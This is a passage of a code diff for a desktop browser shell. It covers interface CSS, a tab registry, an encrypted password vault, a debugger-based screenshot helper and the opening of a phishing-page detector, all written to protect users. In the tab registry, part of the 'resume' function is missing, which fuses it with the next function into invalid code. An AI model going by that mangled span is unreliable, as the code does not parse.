var(--sidebar-width); +} + +body.ai-open #start-page,body.vault-open #start-page { + right: 360px; +} + +.start-content { + max-width: 830px; + margin: 70px auto 40px; + padding: 0 35px; +} + +.start-eyebrow { + font-size: 9px; + letter-spacing: 2px; + color: var(--muted); + margin: 0 0 9px; +} + +.start-content>h1 { + font-size: 36px; + letter-spacing: -1.4px; + margin: 0 0 45px; +} + +.start-section { + margin: 0 0 35px; +} + +.section-title { + display: flex; + align-items: center; + justify-content: space-between; + margin: 0 0 17px; +} + +.section-title h2 { + font-size: 17px; + letter-spacing: -.4px; +} + +.section-title span { + font-size: 10px; + color: var(--muted); +} + +.favorites-grid { + display: grid; + grid-template-columns: repeat(auto-fill,minmax(86px,1fr)); + gap: 18px; +} + +.favorite-tile { + display: flex; + flex-direction: column; + align-items: center; + gap: 9px; + padding: 0; + background: transparent; + color: var(--text); + font-weight: 400; +} + +.favorite-icon { + display: grid; + place-items: center; + width: 64px; + height: 64px; + border-radius: 17px; + background: var(--surface); + box-shadow: 0 4px 14px #242e4610,inset 0 1px 0 #ffffffc0; + font-size: 25px; + font-weight: 500; + color: var(--accent-text); +} + +.favorite-tile img { + width: 27px; + height: 27px; + opacity: .6; +} + +.favorite-tile span { + font-size: 10px; + max-width: 86px; + text-align: center; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.recent-list { + display: grid; + gap: 8px; +} + +.recent-item { + display: flex; + align-items: center; + gap: 12px; + width: 100%; + text-align: left; + padding: 13px 16px; + border-radius: 14px; + background: var(--surface); + color: var(--text); + border: 1px solid #ffffff60; + font-size: 12px; + font-weight: 400; +} + +.recent-item img { + width: 18px; + height: 18px; + opacity: .5; +} + +.recent-item small { + font-size: 9px; + margin-top: 3px; +} + +.privacy-card { + display: flex; + align-items: center; + gap: 15px; + padding: 20px; + border-radius: 18px; + background: var(--surface); + border: 1px solid #ffffff65; + box-shadow: 0 2px 12px #26304c05; +} + +.privacy-icon { + width: 38px; + height: 38px; + border-radius: 12px; + background: color-mix(in srgb,var(--accent) 4%,transparent); + display: grid; + place-items: center; +} + +.privacy-icon img { + width: 23px; + height: 23px; + opacity: .6; +} + +.privacy-card strong { + font-size: 12px; + font-weight: 500; +} + +.privacy-card p { + font-size: 10px; + margin: 5px 0 0; +} + +.session-note { + font-size: 9px; + text-align: center; + color: var(--muted); + opacity: .7; + margin: 25px 0; +} + +#overview { + position: fixed; + inset: var(--chrome-height) 0 0; + overflow: auto; + background: color-mix(in srgb,var(--page-tint) 18%,var(--base)); + backdrop-filter: blur(35px); + z-index: 40; + padding: 40px; +} + +.overview-heading { + display: flex; + justify-content: space-between; + align-items: center; + max-width: 1000px; + margin: auto; +} + +.overview-heading h1 { + font-size: 30px; +} + +.overview-note { + max-width: 1000px; + margin: 0 auto 30px; +} + +#overview-grid { + max-width: 1000px; + margin: auto; + display: grid; + grid-template-columns: repeat(auto-fill,minmax(210px,1fr)); + gap: 22px; +} + +.overview-card { + border: 1px solid #ffffff70; + background: var(--surface); + color: var(--text); + border-radius: 20px; + padding: 23px; + text-align: left; + min-height: 150px; + box-shadow: 0 6px 18px #15254008; +} + +.overview-card strong { + display: block; + font-size: 15px; + font-weight: 500; + margin: 15px 0 7px; +} + +.overview-card small { + font-size: 10px; + overflow-wrap: anywhere; +} + +.overview-card img { + width: 24px; + height: 24px; + opacity: .6; +} + + +/* Explicit dark mode, followed by automatic OS theme selection. */ +body[data-theme=dark] { + --text: #eceef5; + --muted: #989cac; + --line: #ffffff10; + --surface: #ffffff0e; + --glass: #242733dc; + --base: #181b24; + --hover: #ffffff09; + --panel: #20242eef; + --shadow: 0 12px 40px #00000035; +} + +body[data-theme=dark] img:not(.traffic img) { + filter: invert(.86); +} + +body[data-theme=dark] #address-form,body[data-theme=dark] .card,body[data-theme=dark] .glass-popover { + border-color: #ffffff12; +} + +body[data-theme=dark] #chrome { + box-shadow: inset 0 1px 0 #ffffff15; +} + +body[data-theme=dark] .brand-monogram { + background: #ffffff10; + color: #b7c3d8; +} + +@media(prefers-color-scheme:dark) { + body[data-theme=auto] { + --text: #eceef5; + --muted: #989cac; + --line: #ffffff10; + --surface: #ffffff0e; + --glass: #242733dc; + --base: #181b24; + --hover: #ffffff09; + --panel: #20242eef; + --shadow: 0 12px 40px #00000035; + } + body[data-theme=auto] img:not(.traffic img) { + filter: invert(.86); + } + body[data-theme=auto] #address-form,body[data-theme=auto] .card,body[data-theme=auto] .glass-popover { + border-color: #ffffff12; + } + body[data-theme=auto] #chrome { + box-shadow: inset 0 1px 0 #ffffff15; + } +} + +:focus-visible { + outline: 3px solid #72b1f070; + outline-offset: 2px; +} + +[hidden] { + display: none!important; +} + +.visually-hidden { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + margin: -1px; + overflow: hidden; + clip: rect(0,0,0,0); + white-space: nowrap; + border: 0; +} + +@media(max-width:900px) { + .toolbar { + grid-template-columns: 185px minmax(160px,1fr) 148px; + gap: 8px; + } + .toolbar-trailing { + gap: 1px; + } + .start-content { + margin-top: 45px; + padding: 0 25px; + } + .start-content>h1 { + font-size: 29px; + } + body[data-tab-mode=compact] #tab-strip { + left: 208px; + right: 168px; + } + .section-title span { + display: none; + } +} + +@media(prefers-reduced-motion:no-preference) { + button { + transition: background .15s,opacity .15s; + } + .glass-popover { + animation: appear .13s ease-out; + } + @keyframes appear { + from { + opacity: 0; + transform: translateY(-4px); + } + to { + opacity: 1; + transform: translateY(0); + } + } +} + + +/* Dynamic renderer component hooks and compact sidebar links. */ +.group-controls { + display: flex; + align-items: center; + gap: 5px; + margin: 4px 7px 10px; +} + +.group-controls input { + padding: 6px 8px; + font-size: 10px; + min-width: 0; + background: var(--surface); + border-radius: 8px; +} + +.group-controls button { + flex-shrink: 0; + width: 25px; + height: 25px; + padding: 5px; +} + +.group-controls img { + width: 13px; + height: 13px; +} + +.favorite-card { + display: flex; + flex-direction: column; + align-items: center; + gap: 9px; + padding: 0; + background: transparent; + color: var(--text); + font-weight: 400; +} + +.favorite-card img { + width: 27px; + height: 27px; + opacity: .6; +} + +.favorite-card span:not(.favorite-icon) { + font-size: 10px; + max-width: 86px; + text-align: center; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.favorite-icon { + flex-shrink: 0; +} + +.tab-label { + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + padding-right: 8px; +} + +.group-item { + display: flex; + align-items: center; + gap: 8px; +} + +.group-item img { + width: 14px; + height: 14px; + opacity: .5; +} + +#favorites-empty { + font-size: 11px; + color: var(--muted); + padding: 15px 0; +} + +.library-tab { + display: flex; + align-items: center; + gap: 8px; +} + +.library-tab.active { + background: color-mix(in srgb,var(--accent) 7%,transparent)!important; + color: var(--accent-text)!important; +} + +.favorite-card strong { + font-size: 10px; + font-weight: 400; + max-width: 90px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.favorite-card small { + font-size: 9px; + text-align: center; +} + +.favorite-icon span { + font-size: 25px; + font-weight: 500; +} + +.browser-tab .tab-label { + display: block; +} + +.browser-tab .tab-close { + background: transparent; + color: var(--muted); + border-radius: 5px; +} + +.browser-tab .tab-close:hover { + background: var(--hover); +} + +.browser-tab { + display: flex; + align-items: center; + justify-content: center; + padding: 0 28px 0 7px; +} + +.browser-tab .tab-label { + border: 0; + flex: 1; + min-width: 0; + height: 100%; + padding: 6px 8px; + font-size: 11px; + font-weight: 400; + color: inherit; + background: transparent; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + border-radius: 8px; +} + +.browser-tab .tab-close { + display: grid; + place-items: center; + font-size: 13px; + font-weight: 400; + padding: 0; +} + +.browser-tab.active .tab-close { + opacity: .6; +} + +.browser-tab:not(.active) .tab-close { + opacity: 0; +} + +.browser-tab:hover .tab-close { + opacity: .6; +} + +body[data-tab-mode=compact] .browser-tab .tab-label { + font-size: 10px; + padding: 3px 5px; +} + +.overview-card span { + display: block; + overflow-wrap: anywhere; +} + +.library-section { + border: 0; + padding: 0; + margin: 2px 0; +} + +.library-section summary { + list-style: none; + font-weight: 400; + color: var(--text); +} + +.library-section summary::-webkit-details-marker { + display: none; +} + +.library-links .favorite-card { + width: 100%; + flex-direction: row; + justify-content: flex-start; + gap: 9px; + padding: 6px 10px; + border-radius: 8px; + margin-top: 2px; +} + +.library-links .favorite-card:hover { + background: var(--hover); +} + +.library-links .favorite-icon { + width: 23px; + height: 23px; + border-radius: 7px; + box-shadow: none; + font-size: 12px; +} + +.library-links .favorite-card strong { + font-size: 10px; + max-width: 160px; +} + +.recent-list .favorite-card { + flex-direction: row; + gap: 12px; + background: var(--surface); + padding: 12px 15px; + border-radius: 14px; + align-items: center; +} + +.recent-list .favorite-icon { + width: 34px; + height: 34px; + font-size: 17px; + border-radius: 10px; +} + +.recent-list .favorite-card strong { + font-size: 12px; + max-width: none; + text-align: left; +} + +body:has(#ai:not([hidden])) #start-page,body:has(#vault:not([hidden])) #start-page { + right: 360px; +} + +.library-item { + color: var(--text); +} + +body[data-theme=dark] .glass-popover,body[data-theme=dark] .privacy-card,body[data-theme=dark] .overview-card { + border-color: #ffffff12; +} + +body[data-theme=dark] .browser-tab.active { + box-shadow: inset 0 1px 0 #ffffff08; +} + +body[data-theme=dark] .favorite-icon { + box-shadow: 0 4px 14px #00000018,inset 0 1px 0 #ffffff10; +} + + +/* Glass fallback: these styles affect only the trusted shell, never website content. */ +@supports not (background: color-mix(in srgb, red, blue)) { + #chrome { + background: var(--glass); + } + #library { + background: var(--glass); + } + #overview { + background: var(--base); + } + #welcome, #start-page { + background: var(--base); + } +} + + +/* Older renderers and reduced-transparency preferences use opaque surfaces. */ +@supports not (backdrop-filter: blur(1px)) { + #chrome, #library, .glass-popover, aside, .card { + background: var(--base); + } + #address-form { + background: var(--base); + } +} + +@media (prefers-reduced-transparency: reduce) { + #chrome, #library, .glass-popover, aside, .card, #overview, #address-form { + backdrop-filter: none; + background: var(--base); + } +} + +/* Accessibility polish: preserve the small traffic-light visual with 24px hit targets. */ +.traffic-lights { + gap: 0; + padding-right: 8px; +} +.traffic { + position: relative; + width: 24px; + height: 24px; + border: 0; + background: transparent; +} +.traffic::before { + content: ""; + position: absolute; + inset: 6px; + border-radius: 50%; + background: var(--traffic-color); + border: 1px solid #00000012; +} +.traffic.close { + --traffic-color: #ff605a; + background: transparent; +} +.traffic.minimize { + --traffic-color: #ffbd2e; + background: transparent; +} +.traffic.maximize { + --traffic-color: #28c840; + background: transparent; +} +.traffic img { + position: relative; + z-index: 1; +} +.traffic:focus-visible img { + opacity: .75; +} +:root { + --muted: #69707d; +} +:focus-visible { + outline: 3px solid var(--accent); + outline-offset: 2px; +} +.session-note { + opacity: 1; +} + +/* The trusted start page can become narrow when both managed sidebars are open. */ +#start-page { + container-type: inline-size; +} +@container (max-width: 400px) { + .start-content { + margin-top: 35px; + padding: 0 20px; + } + .start-content > h1 { + font-size: 27px; + margin-bottom: 30px; + overflow-wrap: anywhere; + } + .privacy-card { + display: block; + } + .privacy-icon { + margin-bottom: 12px; + } + .privacy-card p, + .recent-list .favorite-card strong { + white-space: normal; + overflow-wrap: anywhere; + } + .section-title h2 { + font-size: 15px; + } + .favorites-grid { + grid-template-columns: repeat(auto-fill, minmax(70px, 1fr)); + gap: 14px; + } +} + +/* Shell-only scrollbars stay unobtrusive at the 800px minimum window width. */ +#library, +#start-page, +#overview, +#ai, +#vault { + scrollbar-width: thin; + scrollbar-color: color-mix(in srgb, var(--muted) 45%, transparent) transparent; +} +@media (forced-colors: active) { + #library, + #start-page, + #overview, + #ai, + #vault { + scrollbar-color: auto; + } +} + +/* Company links remain readable when the library is locked; mutation controls disappear. */ +.bookmark-row{display:flex;align-items:center;gap:4px;margin:4px 0}.bookmark-link{flex:1;min-width:0;text-align:left;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.bookmark-action{font-size:10px;padding:5px}.bookmark-section-label{font-size:11px;font-weight:600;opacity:.7;margin:12px 0 6px} +#bookmark-editor{color:var(--text,#202632);background:var(--surface,#edf1f6);border:1px solid #8885;border-radius:22px;padding:24px;width:min(420px,80vw);box-shadow:0 24px 80px #0005}#bookmark-editor::backdrop{background:#17233b55;backdrop-filter:blur(8px)}#bookmark-editor label{display:block;margin:12px 0}#bookmark-editor input{display:block;width:100%;box-sizing:border-box;margin-top:5px}#bookmark-editor-error{color:#d53939;font-size:12px}.bookmark-notice{font-size:12px;opacity:.75} diff --git a/apps/browser/tab-registry.cjs b/apps/browser/tab-registry.cjs new file mode 100644 index 0000000..1704e4b --- /dev/null +++ b/apps/browser/tab-registry.cjs @@ -0,0 +1,54 @@ +'use strict'; +const {randomUUID}=require('node:crypto'); + +// Native ownership only: renderer tab labels never own or replace a WebContents. +function createTabRegistry({createView,attach=()=>{},detach=()=>{},dispose=()=>{},maxTabs=32}={}) { + if(typeof createView!=='function'||![attach,detach,dispose].every(fn=>typeof fn==='function')||!Number.isSafeInteger(maxTabs)||maxTabs<1||maxTabs>128)throw TypeError('Invalid native tab registry'); + const tabs=new Map(),byContents=new Map();let activeId=null,activation=0,policyVersion=0,paused=true,closed=false; + const requireTab=id=>{const tab=tabs.get(id);if(!tab||tab.view.webContents.isDestroyed())throw Error('Unknown native tab');return tab;}; + const invalidate=tab=>{tab.navigationId++;tab.security.visualApproval=null;tab.security.visualToken='';tab.security.visualRevision=-1;tab.security.visualScanner?.reset();}; + function create({group=''}={}) { + if(closed||tabs.size>=maxTabs)throw Error('Native tab capacity reached'); + if(typeof group!=='string'||group.length>100)throw TypeError('Invalid tab group'); + const view=createView(),contents=view?.webContents; + if(!contents||!Number.isSafeInteger(contents.id)||contents.isDestroyed()||byContents.has(contents.id))throw Error('Invalid native tab view'); + const tab={id:randomUUID(),view,group,navigationId:0,title:'New Tab',color:'#edf1f6',startPage:true,security:{visualApproval:null,visualToken:'',visualRevision:-1,visualPending:null,visualBlocked:null,contentBlocked:null,visualScanner:null}}; + view.setVisible(false);tabs.set(tab.id,tab);byContents.set(contents.id,tab); + if(!activeId)activate(tab.id);return tab; + } + function activate(id) { + const next=requireTab(id);if(id===activeId)return next; + const previous=tabs.get(activeId);if(previous){previous.view.setVisible(false);detach(previous.view);} + activeId=id;activation++;attach(next.view);next.view.setVisible(false);return next; + } + function remove(id) { + const tab=requireTab(id),wasActive=id===activeId;invalidate(tab);tab.view.setVisible(false); + tabs.delete(id);byContents.delete(tab.view.webContents.id); + if(wasActive){detach(tab.view);activeId=null;activation++;} + try{dispose(tab);}finally{tab.view.webContents.close({waitForBeforeUnload:false});} + if(wasActive&&tabs.size)activate(tabs.keys().next().value); + } + function context(id=activeId,{foreground=true}={}) { + const tab=requireTab(id);return Object.freeze({tabId:tab.id,webContents:tab.view.webContents,navigationId:tab.navigationId,url:tab.view.webContents.getURL(),policyVersion,activation:foreground?activation:null,foreground,paused}); + } + function current(token,{expectedURL=token?.url}={}) { + const tab=token&&tabs.get(token.tabId); + return !!tab&&!paused&&!token.paused&&!tab.view.webContents.isDestroyed()&&tab.view.webContents===token.webContents&&tab.navigationId===token.navigationId&&policyVersion===token.policyVersion&&tab.view.webContents.getURL()===expectedURL&&(!token.foreground||(activeId===tab.id&&activation===token.activation)); + } + function quarantine() { + paused=true;activation++; + for(const tab of tabs.values()){invalidate(tab);tab.view.webContents.stop();tab.view.setVisible(false);tab.security.developerToolsGuard?.close();tab.view.webContents.closeDevTools?.();} + } + function resume(version) { + if(!Number.isSafeInteger(version)||version<1||versionactiveId?requireTab(activeId):null, + fromContents:id=>byContents.get(id)||null,all:()=>[...tabs.values()], + navigation:id=>invalidate(requireTab(id)), + close:()=>{closed=true;quarantine();for(const id of [...tabs.keys()])remove(id);}, + summary:()=>({activeTabId:activeId,tabs:[...tabs.values()].map(tab=>({id:tab.id,group:tab.group,title:tab.title,url:tab.view.webContents.getURL(),startPage:tab.startPage,color:tab.color,canGoBack:tab.view.webContents.navigationHistory?.canGoBack()||false,canGoForward:tab.view.webContents.navigationHistory?.canGoForward()||false}))})}; +} +module.exports={createTabRegistry}; diff --git a/apps/browser/vault.cjs b/apps/browser/vault.cjs new file mode 100644 index 0000000..778665b --- /dev/null +++ b/apps/browser/vault.cjs @@ -0,0 +1,161 @@ +'use strict'; +const crypto = require('node:crypto'); +const fs = require('node:fs'); +const path = require('node:path'); +const MAX_FILE = 8 * 1024 * 1024; +const SCRYPT = Object.freeze({ N: 131072, r: 8, p: 1, maxmem: 192 * 1024 * 1024 }); +const FORMAT = 'safetynet-local-vault-v1'; +const fail = () => { throw new Error('Vault operation refused'); }; +const wipe = value => { if (Buffer.isBuffer(value)) value.fill(0); }; +const encode = value => value.toString('base64'); +function decode(value, maximum = MAX_FILE) { + if (typeof value !== 'string' || value.length > Math.ceil(maximum / 3) * 4 || !/^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/.test(value)) fail(); + const result = Buffer.from(value, 'base64'); + if (result.length > maximum || encode(result) !== value) fail(); + return result; +} +function seal(key, bytes, aad) { + const nonce = crypto.randomBytes(12); + const cipher = crypto.createCipheriv('aes-256-gcm', key, nonce); + cipher.setAAD(Buffer.from(aad)); + return { nonce: encode(nonce), ciphertext: encode(Buffer.concat([cipher.update(bytes), cipher.final()])), tag: encode(cipher.getAuthTag()) }; +} +function open(key, record, aad) { + if (!record || typeof record !== 'object') fail(); + const nonce = decode(record.nonce, 12), tag = decode(record.tag, 16); + if (nonce.length !== 12 || tag.length !== 16) fail(); + const decipher = crypto.createDecipheriv('aes-256-gcm', key, nonce); + decipher.setAAD(Buffer.from(aad)); decipher.setAuthTag(tag); + return Buffer.concat([decipher.update(decode(record.ciphertext)), decipher.final()]); +} +function origin(value) { + if (typeof value !== 'string' || value.length > 2048) fail(); + let url; try { url = new URL(value); } catch { fail(); } + if (url.protocol !== 'https:' || url.username || url.password || url.origin !== value) fail(); + return url.origin; +} +function text(value, maximum) { + if (typeof value !== 'string' || value.length > maximum || value.includes('\0')) fail(); + return value; +} +function master(value) { return text(value, 1024).length >= 16 ? value : fail(); } +function wrappingKey(shared, vaultId) { + return Buffer.from(crypto.hkdfSync('sha256', shared, Buffer.from(vaultId), Buffer.from(FORMAT + ':kem-wrap'), 32)); +} +function generatePassword(length = 32) { + if (!Number.isInteger(length) || length < 24 || length > 128) fail(); + const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_=+'; + return Array.from({ length }, () => alphabet[crypto.randomInt(alphabet.length)]).join(''); +} +function createVault({ filePath, protect, unprotect, idleSeconds = 300 }) { + if (typeof filePath !== 'string' || !path.isAbsolute(filePath) || typeof protect !== 'function' || typeof unprotect !== 'function' || !Number.isInteger(idleSeconds) || idleSeconds < 60 || idleSeconds > 900) fail(); + let key = null, entries = [], envelope = null, timer = null; + function lock() { + clearTimeout(timer); timer = null; wipe(key); key = null; + for (const entry of entries) { entry.password = ''; entry.username = ''; entry.label = ''; entry.origin = ''; } + entries = []; envelope = null; + } + function touch() { clearTimeout(timer); timer = setTimeout(lock, idleSeconds * 1000); timer.unref(); } + function requireUnlocked(refreshIdle = true) { if (!key) fail(); if (refreshIdle) touch(); } + function checkedFile() { + const stat = fs.lstatSync(filePath); + if (!stat.isFile() || stat.isSymbolicLink() || stat.size < 1 || stat.size > MAX_FILE) fail(); + const fd = fs.openSync(filePath, fs.constants.O_RDONLY | (fs.constants.O_NOFOLLOW || 0)); + const bytes = Buffer.alloc(MAX_FILE + 1); + try { + if (fs.fstatSync(fd).size > MAX_FILE) fail(); + let length = 0, count; + while (length < bytes.length && (count = fs.readSync(fd, bytes, length, bytes.length - length, null))) length += count; + if (length > MAX_FILE) fail(); + return JSON.parse(bytes.subarray(0, length).toString('utf8')); + } finally { wipe(bytes); fs.closeSync(fd); } + } + function header(record) { + return JSON.stringify({ format: record.format, vaultId: record.vaultId, salt: record.salt, privateKey: record.privateKey, kemCiphertext: record.kemCiphertext }); + } + function persist() { + const bytes = Buffer.from(JSON.stringify({ entries })); + let temporary; + try { + const aad = header(envelope); + const output = Buffer.from(JSON.stringify({ ...envelope, payload: seal(key, bytes, aad + ':' + JSON.stringify(envelope.wrappedKey)) })); + if (output.length > MAX_FILE) fail(); + fs.mkdirSync(path.dirname(filePath), { recursive: true }); + if (fs.existsSync(filePath) && !fs.lstatSync(filePath).isFile()) fail(); + temporary = filePath + '.' + crypto.randomBytes(16).toString('hex') + '.tmp'; + const fd = fs.openSync(temporary, 'wx', 0o600); + try { fs.writeFileSync(fd, output); fs.fsyncSync(fd); } finally { fs.closeSync(fd); wipe(output); } + fs.renameSync(temporary, filePath); temporary = null; + } finally { wipe(bytes); if (temporary) { try { fs.unlinkSync(temporary); } catch {} } } + } + function create(password) { + lock(); let derived, privateDer, protectedBytes, shared, wrap; + try { + master(password); if (fs.existsSync(filePath)) fail(); + if (typeof crypto.encapsulate !== 'function' || typeof crypto.decapsulate !== 'function') fail(); + const salt = crypto.randomBytes(32), vaultId = crypto.randomUUID(); + derived = crypto.scryptSync(password, salt, 32, SCRYPT); + const pair = crypto.generateKeyPairSync('ml-kem-1024'); + privateDer = pair.privateKey.export({ format: 'der', type: 'pkcs8' }); + protectedBytes = Buffer.from(JSON.stringify(seal(derived, privateDer, FORMAT + ':private:' + vaultId))); + const platformProtected = protect(protectedBytes); + if (!Buffer.isBuffer(platformProtected) || !platformProtected.length || platformProtected.length > 65536) fail(); + const encapsulated = crypto.encapsulate(pair.publicKey); shared = encapsulated.sharedKey; + wrap = wrappingKey(shared, vaultId); key = crypto.randomBytes(32); + envelope = { format: FORMAT, vaultId, salt: encode(salt), privateKey: encode(platformProtected), kemCiphertext: encode(encapsulated.ciphertext) }; + envelope.wrappedKey = seal(wrap, key, header(envelope)); + persist(); touch(); return status(); + } catch { lock(); fail(); } finally { [derived, privateDer, protectedBytes, shared, wrap].forEach(wipe); } + } + function unlock(password) { + lock(); let derived, protectedBytes, privateDer, shared, wrap, plaintext; + try { + master(password); const record = checkedFile(); + if (record.format !== FORMAT || typeof record.vaultId !== 'string' || !/^[a-f0-9-]{36}$/.test(record.vaultId)) fail(); + const salt = decode(record.salt, 32), ciphertext = decode(record.kemCiphertext, 1568); + if (salt.length !== 32 || ciphertext.length !== 1568) fail(); + protectedBytes = unprotect(decode(record.privateKey, 65536)); + if (!Buffer.isBuffer(protectedBytes) || protectedBytes.length > 65536) fail(); + derived = crypto.scryptSync(password, salt, 32, SCRYPT); + privateDer = open(derived, JSON.parse(protectedBytes.toString('utf8')), FORMAT + ':private:' + record.vaultId); + const privateKey = crypto.createPrivateKey({ key: privateDer, format: 'der', type: 'pkcs8' }); + if (privateKey.asymmetricKeyType !== 'ml-kem-1024') fail(); + shared = crypto.decapsulate(privateKey, ciphertext); wrap = wrappingKey(shared, record.vaultId); + key = open(wrap, record.wrappedKey, header(record)); if (key.length !== 32) fail(); + plaintext = open(key, record.payload, header(record) + ':' + JSON.stringify(record.wrappedKey)); + const decoded = JSON.parse(plaintext.toString('utf8')); + if (!Array.isArray(decoded.entries) || decoded.entries.length > 1000) fail(); + const ids = new Set(); + for (const entry of decoded.entries) { + if (typeof entry.id !== 'string' || !/^[a-f0-9-]{36}$/.test(entry.id) || ids.has(entry.id)) fail(); ids.add(entry.id); + origin(entry.origin); text(entry.username, 512); text(entry.password, 4096); text(entry.label, 256); + } + entries = decoded.entries; envelope = { ...record }; delete envelope.payload; touch(); return status(); + } catch { lock(); fail(); } finally { [derived, protectedBytes, privateDer, shared, wrap, plaintext].forEach(wipe); } + } + function status() { return { exists: fs.existsSync(filePath), locked: !key, idleSeconds, algorithm: 'AES-256-GCM / ML-KEM-1024 / scrypt / Windows DPAPI' }; } + function list() { requireUnlocked(false); return entries.map(({ id, origin, username, label }) => ({ id, origin, username, label })); } + function mutate(action) { + requireUnlocked(); const previous = entries.map(entry => ({ ...entry })); + try { const result = action(); persist(); return result; } catch { entries = previous; fail(); } + } + function upsert(entry) { + return mutate(() => { + if (!entry || typeof entry !== 'object') fail(); + const current = entry.id ? entries.find(item => item.id === entry.id) : null; + if (entry.id && !current) fail(); if (!current && entries.length >= 1000) fail(); + const updated = { id: current?.id || crypto.randomUUID(), origin: origin(entry.origin), username: text(entry.username, 512), password: text(entry.password, 4096), label: text(entry.label ?? '', 256) }; + if (!updated.password) fail(); + if (current) entries[entries.indexOf(current)] = updated; else entries.push(updated); + return { id: updated.id }; + }); + } + function remove(id) { return mutate(() => { const index = entries.findIndex(entry => entry.id === id); if (index < 0) fail(); entries.splice(index, 1); return { deleted: true }; }); } + function credential(id, targetOrigin) { + requireUnlocked(); const expected = origin(targetOrigin); const entry = entries.find(item => item.id === id); + if (!entry || entry.origin !== expected) fail(); + return { username: entry.username, password: entry.password }; + } + return { create, unlock, lock, status, list, upsert, delete: remove, credential, generatePassword }; +} +module.exports = { createVault, generatePassword }; diff --git a/apps/browser/visual-capture.cjs b/apps/browser/visual-capture.cjs new file mode 100644 index 0000000..4c4060e --- /dev/null +++ b/apps/browser/visual-capture.cjs @@ -0,0 +1,20 @@ +'use strict'; +const {guardedScreenshot}=require('./page-clipboard-guard.cjs'); +function bounded(operation,ms){let timer;return Promise.race([operation,new Promise((_,reject)=>{timer=setTimeout(()=>reject(Error('Visual capture timed out')),ms);})]).finally(()=>clearTimeout(timer));} +async function capturePNG(contents,rect){ + if(rect&&(!['x','y','width','height'].every(key=>Number.isInteger(rect[key]))||rect.x<0||rect.y<0||rect.width<16||rect.height<16||rect.width*rect.height>8*1024*1024))throw Error('Visual capture region invalid'); + // Use Chromium's current render surface: Windows native capture can return a stale frame. + // Share the verified internal page-security connection when present; never detach it. + // No debugger endpoint or general command interface is exposed to sites or agents. + const parameters={format:'png',fromSurface:true,captureBeyondViewport:false,...(rect?{clip:{...rect,scale:1}}:{})}; + const owned=guardedScreenshot(contents,parameters); + const debuggerAPI=contents.debugger;if(!debuggerAPI||!owned&&debuggerAPI.isAttached())throw Error('Visual capture unavailable'); + let attached=false; + try{ + if(!owned){debuggerAPI.attach('1.3');attached=true;} + const result=await bounded(owned||debuggerAPI.sendCommand('Page.captureScreenshot',parameters),3000); + if(typeof result?.data!=='string'||result.data.length>14*1024*1024||!/^[A-Za-z0-9+/]+={0,2}$/.test(result.data))throw Error('Visual capture bytes invalid'); + return Buffer.from(result.data,'base64'); + }finally{if(attached)debuggerAPI.detach();} +} +module.exports={capturePNG}; diff --git a/apps/browser/visual-phishing.cjs b/apps/browser/visual-phishing.cjs new file mode 100644 index 0000000..143c8b7 --- /dev/null +++ b/apps/browser/visual-phishing.cjs @@ -0,0 +1,80 @@ +'use strict'; +// `unknown` is never an approval: callers must hold credential actions until a fresh verdict. +function describeDocument(expectedURL){ + if(location.href!==expectedURL)throw Error('Document changed'); + const visible=e=>{if(!e||e.closest('[hidden],[aria-hidden="true"],script,style,template,noscript'))return false;let p=e,count=0;while(p&&count++<32){const s=getComputedStyle(p);if(s.display==='none'||s.visibility==='hidden'||s.opacity==='0')return false;p=p.parentElement;}return e.getClientRects().length>0;}; + const candidates=[]; + for(const e of document.querySelectorAll('input')){ + if(candidates.length>=32)break; + if(!visible(e)||e.disabled||e.type==='hidden')continue; + if(/^(password|email)$/i.test(e.type)||/username|email|login|current-password|new-password/i.test([e.name,e.id,e.getAttribute('autocomplete')].join(' ')))candidates.push(e); + } + let formRect; + if(candidates.length){const container=candidates[0].closest('form')||candidates[0].closest('main,[role="main"]')||candidates[0];const r=container.getBoundingClientRect();const x=Math.max(0,r.x),y=Math.max(0,r.y),width=Math.min(innerWidth,r.right)-x,height=Math.min(innerHeight,r.bottom)-y;if(width>=16&&height>=16)formRect={x,y,width,height};} + const walker=document.createTreeWalker(document.body,NodeFilter.SHOW_TEXT);let node,text='',visited=0; + while((node=walker.nextNode())&&visited++<20000&&text.length<8000){const e=node.parentElement;if(!e||e.closest('input,textarea,select,[contenteditable],script,style,template,noscript')||!visible(e))continue;const piece=(node.textContent||'').replace(/\s+/g,' ').trim();if(piece)text+=(text?'\n':'')+piece.slice(0,8000-text.length);} + return {hasCredentialInputs:candidates.length>0,visibleText:text.slice(0,8000),...(formRect?{formRect}:{})}; +} +const describeScript=expectedURL=>`(${describeDocument.toString()})(${JSON.stringify(expectedURL)})`; +const normalize=text=>String(text).normalize('NFKC').toLowerCase().replace(/ß/g,'ss').replace(/ς/g,'σ'); +function createVisualPhishing({getContext,capture,describe,fingerprint,compare,audit,block}={}){ + if([getContext,capture,describe,fingerprint,compare,audit,block].some(fn=>typeof fn!=='function'))throw TypeError('Trusted visual phishing callbacks required'); + let pending=null,generation=0; + const snapshot=()=>{const c=getContext();return {...c,url:c?.url||c?.webContents?.getURL(),generation};}; + const current=initial=>{const c=snapshot();return c.ready&&Number.isFinite(Date.parse(c.policy?.expiresAt))&&Date.parse(c.policy.expiresAt)>Date.now()&&c.policy===initial.policy&&c.webContents===initial.webContents&&c.url===initial.url&&c.navigationId===initial.navigationId&&c.generation===initial.generation;}; + const result=(initial,decision,reason,ruleId)=>({decision,reason,...(ruleId?{ruleId}:{}),checkedURL:initial.url,policyVersion:initial.policy?.version}); + async function run(){ + const initial=snapshot(),settings=initial.policy?.security?.visualPhishing; + if(!initial.ready)return result(initial,'unknown','browser-not-ready'); + if(!Number.isFinite(Date.parse(initial.policy?.expiresAt))||Date.parse(initial.policy.expiresAt)<=Date.now())return result(initial,'unknown','policy-expired'); + if(!settings?.enabled)return result(initial,'allow','visual-policy-disabled'); + let pageURL;try{pageURL=new URL(initial.url);if(!['https:','http:'].includes(pageURL.protocol))throw Error();}catch{return result(initial,'unknown','unsupported-url');} + const blocked=async(reason,ruleId)=>{ + if(!current(initial))return 